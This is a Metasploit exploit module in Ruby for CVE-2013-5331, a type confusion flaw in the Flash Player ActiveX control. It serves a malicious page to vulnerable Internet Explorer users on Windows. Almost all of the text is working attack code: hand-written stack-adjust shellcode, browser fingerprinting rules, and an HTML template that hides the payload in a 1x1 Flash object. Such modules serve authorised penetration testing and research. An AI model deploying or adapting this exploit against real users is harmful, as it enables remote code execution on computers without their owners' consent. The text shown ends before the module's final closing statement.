Adobe Flash Player Type Confusion Remote Code Execution

##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})

super(update_info(info,

'Name' => "Adobe Flash Player Type Confusion Remote Code Execution",

'Description' => %q{

This module exploits a type confusion vulnerability found in the ActiveX

component of Adobe Flash Player. This vulnerability was found exploited

in the wild in November 2013. This module has been tested successfully

on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170

over Windows XP SP3 and Windows 7 SP1.

},

'License' => MSF_LICENSE,

'Author' =>

[

'Unknown', # Vulnerability discovery and exploit in the wild

'bannedit', # Exploit in the wild discoverer, analysis and reporting

'juan vazquez' # msf module

],

'References' =>

[

[ 'CVE', '2013-5331' ],

[ 'OSVDB', '100774'],

[ 'BID', '64199'],

[ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb13-28.html' ],

[ 'URL', 'http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html' ]

],

'Payload' =>

{

'Space' => 2000,

'DisableNops' => true,

'PrependEncoder' => stack_adjust

},

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f',

'Retries' => false,

'EXITFUNC' => "thread"

},

'Platform' => 'win',

'BrowserRequirements' =>

{

:source => /script|headers/i,

:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",

:method => "LoadMovie",

:os_name => Msf::OperatingSystems::WINDOWS,

:ua_name => Msf::HttpClients::IE,

:flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }

},

'Targets' =>

[

[ 'Automatic', {} ]

],

'Privileged' => false,

'DisclosureDate' => "Dec 10 2013",

'DefaultTarget' => 0))

end

def exploit

@swf = create_swf

super

end

def stack_adjust

adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb

adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit

adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit

adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset

adjust

end

def on_request_exploit(cli, request, target_info)

print_status("Request: #{request.uri}")

if request.uri =~ /\.swf$/

print_status("Sending SWF...")

send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})

return

end

print_status("Sending HTML...")

tag = retrieve_tag(cli, request)

profile = get_profile(tag)

profile[:tried] = false unless profile.nil? # to allow request the swf

print_status("showme the money")

send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})

end

def exploit_template(cli, target_info)

swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"

flash_payload = ""

get_payload(cli,target_info).unpack("V*").each do |i|

flash_payload << "0x#{i.to_s(16)},"

end

flash_payload.gsub!(/,$/, "")

html_template = %Q|<html>

<body>

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />

<param name="movie" value="<%=swf_random%>" />

<param name="allowScriptAccess" value="always" />

<param name="FlashVars" value="sh=<%=flash_payload%>" />

<param name="Play" value="true" />

</object>

</body>

</html>

|

return html_template, binding()

end

def create_swf

path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-5331", "Exploit.swf" )

swf = ::File.open(path, 'rb') { |f| swf = f.read }

swf

end